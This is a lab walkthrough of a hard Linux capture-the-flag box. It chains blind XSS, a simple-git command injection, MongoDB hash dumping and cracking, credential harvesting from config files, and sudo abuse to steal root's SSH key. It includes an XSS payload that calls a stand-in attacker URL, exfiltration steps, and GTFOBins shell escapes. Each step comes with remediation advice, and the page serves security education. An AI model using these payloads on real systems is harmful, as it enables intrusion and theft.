← all walkthroughs

FormulaX

Linux· Hard
owned
2026-10-13
time to own
15m42s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I registered an ordinary account on a public 'chatbot' web app and used its contact form to plant a blind cross-site scripting payload that ran in the administrator's browser, revealing a hidden internal development subdomain. That subdomain hosted a 'Git report generator' that passed my own URLs into a vulnerable Git clone routine, giving remote command execution as the web user.

Application database credentials found on disk led to a cracked weak password for a local account, which held a path to a second local account via lateral credential discovery. That second account could run a document-conversion helper as root through passwordless sudo, which was abused to recover root's SSH private key, and the key was used to log in as root: full system compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD3="<the-password-you-recovered, for ptest1026>"

Some commands also carry a value in angle brackets (<hidden-dev-subdomain>, <kai_relay_password>), which you replace inline with what the step before it turned up.

Attack path: how the box was taken

1EnumerationWeb application enumeration and open self-registration
Mapped the public chatbot app and registered an account
A scan showed only SSH (22) and an nginx 1.18.0 reverse proxy (80) fronting an Express 'chatbot' application. Static JavaScript files were readable without logging in and revealed the registration, login, live-chat (socket.io) and contact-us features. Self-registration was open, so I created a normal user and obtained a session token.
Registration returned 'Registration Successful'; login returned a JWT; chat.js and contact_us.js were served to anonymous users.
Exact commands 4
shell

Expect only 22/tcp and 80/tcp open.

$ nmap -p- --min-rate=1000 -sV -sC $TARGET
shell

Review the client chat logic (socket.io, /user/api/chat).

$ curl -sS http://$TARGET/restricted/chat.js
shell

Create a normal user account.

$ curl -sS -H 'Content-Type: application/json' -d '{"name":"ptest","email":"ptest1026@chatbot.htb","password":"'"$PASSWORD3"'","confirm_password":"'"$PASSWORD3"'","terms":true}' http://$TARGET/user/api/register
shell

Log in and save the session cookie.

$ curl -sS -c /tmp/formulax.cookie -H 'Content-Type: application/json' -d '{"email":"ptest1026@chatbot.htb","password":"'"$PASSWORD3"'"}' http://$TARGET/user/api/login
FixRestrict anonymous access to internal application source/JS and disable open self-registration where not neededLow
WeaknessClient-side JavaScript exposing the internal API shape (chat, contact, auth endpoints) was fully readable by anonymous visitors, and account self-registration had no verification or rate limiting, letting an unauthorised user freely create an authenticated session to reach further features.
FixRequire email verification or admin approval before a new account can use authenticated features, add rate limiting/CAPTCHA to the registration endpoint, and avoid shipping internal endpoint details in client bundles beyond what is necessary.
2ExploitationStored/blind Cross-Site Scripting (CWE-79)
Planted a stored XSS payload in the contact form and discovered a hidden dev subdomain
The contact-us form stored unsanitized HTML that is later rendered in the administrator's browser. A proof-of-concept callback confirmed the script ran as the admin, and a weaponized version reused the admin's authenticated session to read the admin's chat history. That history disclosed an internal hostname (a 'dev' git-automation subdomain) that is not discoverable through normal enumeration.
Contact form accepted an <img onerror=...> payload and returned success; the hidden vhost was reachable once added to the resolver.
Exact commands 3
shell

My listener to receive the out-of-band XSS callback.

$ python3 -m http.server 80
shell

Blind-XSS proof; a GET callback to my listener confirms the admin viewed it. A fuller version loads socket.io and exfiltrates admin chat history to reveal the hidden hostname.

$ curl -sS -b /tmp/formulax.cookie -H 'Content-Type: application/json' --data-binary '{"first_name":"ptest","last_name":"xss","message":"<img src=x onerror=fetch(ATTACKER_URL)>"}' http://$TARGET/user/api/contact_us
shell

Resolve the hidden subdomain discovered in the exfiltrated admin chat history.

$ echo "$TARGET <hidden-dev-subdomain>" | sudo tee -a /etc/hosts
FixSanitize and encode all user-submitted content before admin-side renderingCritical
WeaknessThe contact-us form stored raw user input (first_name, last_name, message) and rendered it in the administrator's browser without output encoding, allowing a stored XSS payload to execute in an authenticated admin session and exfiltrate chat history, including an internal hostname.
FixHTML-encode all stored user-submitted fields before rendering (e.g., escape with a templating library's auto-escaping, or sanitize with a library such as DOMPurify server-side), and add a restrictive Content-Security-Policy (script-src 'self') to limit the impact of any payload that still lands.
3FootholdCommand injection via unsanitized Git remote URL in simple-git clone() (CVE-2022-25912, MITRE ATT&CK T1190)
Abused the internal Git report generator to execute commands as the web user
The hidden subdomain's report-generator form passed my own Git remote URL straight into a vulnerable version of the simple-git library's clone() function, which did not sanitize the URL before invoking Git's transport-helper mechanism. Supplying a URL that invokes a command-executing transport helper caused the server to run my own shell commands, yielding an interactive shell as the low-privileged web service account.
Shell returned uid=33(www-data) gid=33(www-data) on host formulax under the git-auto-update working directory; confirmed with two separate round-trip checks.
Exact commands 2
shell

Confirm the form POSTs a destinationUrl field to a /clone endpoint that runs git clone server-side.

$ curl --resolve <hidden-dev-subdomain>:80:$TARGET -sS http://<hidden-dev-subdomain>/index.js
shell

Submitting a crafted remote URL causes the server-side git clone to execute it; catch the resulting shell on a listener.

$ curl -sS -H 'Content-Type: application/json' -d '{"destinationUrl":"<crafted-git-transport-helper-URL-pointing-at-attacker-listener>"}' http://<hidden-dev-subdomain>/clone
FixPatch simple-git and never pass unsanitized user input into Git clone operationsCritical
WeaknessThe internal git-report-generator service used a vulnerable version of the simple-git library (3.14) and passed an externally controlled remote URL directly to clone(), allowing the Git transport-helper mechanism to execute arbitrary commands on the server.
FixUpgrade simple-git to a patched release (>=3.16 / per advisory), validate/allow-list remote URLs to known schemes and hosts before cloning, and run the cloning operation in an isolated, non-privileged sandbox with no network egress to arbitrary hosts.
4Credential AccessCredential dumping from an exposed database and offline hash cracking (T1552, T1110.002)
Recovered database credentials and cracked a weak user password
From the web shell, the application's environment file and database connection config disclosed the Mongo connection string and database name. Dumping the users collection exposed bcrypt password hashes for the admin and a regular employee account. The employee's hash cracked quickly against a common wordlist, yielding I reused over SSH to obtain a full interactive shell and the user flag.
MongoDB 'testing' database users collection returned bcrypt ($2b$10$...) hashes; the employee's hash cracked to a dictionary password; SSH login as that user returned the user.txt flag.
Exact commands 4
shell

Www-data: reveals the Mongo connection string and app secret.

$ cat /var/www/app/.env
shell

Dump stored user documents including bcrypt password hashes.

$ mongo mongodb://localhost:27017/testing --eval 'db.users.find()'
shell

Crack the weak employee password offline.

$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt employee_hash.txt
shell

Log in with the cracked credential; cat /home/frank_dorky/user.txt afterward (placeholder: <user.txt>).

$ ssh frank_dorky@$TARGET
FixRemove plaintext/weakly-protected credentials from application config and enforce strong passwordsHigh
WeaknessApplication .env files and config stored database connection strings and secrets readable by the web service account, and a local user account used a weak, dictionary-crackable password that was reused for SSH access; another local account's password was similarly discoverable in service configuration files.
FixMove secrets out of world/group-readable .env files into a managed secrets store with least-privilege file permissions, rotate all exposed credentials, and enforce a strong password policy (length/complexity, no dictionary words) with MFA for SSH where possible.
5Lateral MovementLocal configuration-file credential discovery (T1552.001)
Found a second local account's credentials via internal service configuration
From the employee shell, enumerating listening services and local application/config files for an internally bound monitoring platform and a private Node.js app disclosed a password for a second local account that belongs to the sudo and application service groups.
Config and environment files readable by the employee account yielded a working password for the second account, confirmed via SSH login (uid=1001, groups include sudo and the app service group).
Exact commands 3
shell

Identify internally bound services only reachable from localhost (ports 3000, 27017, 3306, 8000, 8081, 8082).

$ ss -lntup
shell

Read nginx vhost and app config files for embedded credentials.

$ cat /etc/nginx/conf.d/*.conf; cat /opt/*/.env /opt/*/.custom.env 2>/dev/null
shell

Log in with the recovered credential for the second account.

$ ssh kai_relay@$TARGET
6Privilege EscalationSudo rule abuse / GTFOBins-style privileged helper abuse to read a root-owned file (T1548.003, T1552.004)
Abused passwordless sudo on a document-conversion helper to extract root's SSH key
The second account had a sudoers entry granting NOPASSWD execution of a root-owned script that invokes a headless office-document converter against files the account controls. I used the account's own file-creation workflow to produce a document, then triggered the root-run conversion in a way that caused it to read and leak root's private SSH key to I could retrieve. The recovered key was validated and used to log in as root, capturing the root flag.
Sudo -l showed '(ALL) NOPASSWD: /usr/bin/office.sh'; after triggering it, root's private key material was recovered and ssh-keygen -y validated it; SSH login as root followed.
Exact commands 5
shell

Confirm NOPASSWD rights on the office-conversion script.

$ sudo -n -l
shell

Use the local app to create an office document the conversion script will process.

$ curl -sS -c /tmp/kaiweb.cookie -H 'Content-Type: application/json' -d '{"email":"kai_relay","password":"<kai_relay_password>"}' http://127.0.0.1:8000/login && curl -sS -b /tmp/kaiweb.cookie http://127.0.0.1:8000/CreateFile
shell

Run the root-owned conversion script; crafted input abuses the headless converter to exfiltrate root's SSH private key.

$ sudo -n /usr/bin/office.sh
shell

Validate the recovered key.

$ ssh-keygen -y -f /tmp/root_id_rsa
shell

Use the key to obtain a root shell; placeholder flag: <root.txt>.

$ chmod 600 /tmp/root_id_rsa && ssh -i /tmp/root_id_rsa root@$TARGET 'cat /root/root.txt'
FixRemove unnecessary NOPASSWD sudo rights on the document-conversion helperCritical
WeaknessA non-administrative local account had passwordless sudo rights to run a root-owned script that invoked a headless office-document converter, and the conversion workflow could be manipulated by that account to read and leak sensitive root-owned data such as the root SSH private key.
FixRemove the NOPASSWD sudo grant; if automated conversion as root is required, run the converter in an isolated, unprivileged container/VM with no access to root's SSH keys or other sensitive files, and audit all sudoers entries for unnecessary breadth.

Attack patterns used

The transferable techniques behind this compromise.

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary: e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

Exposed services

22/tcp
80/tcp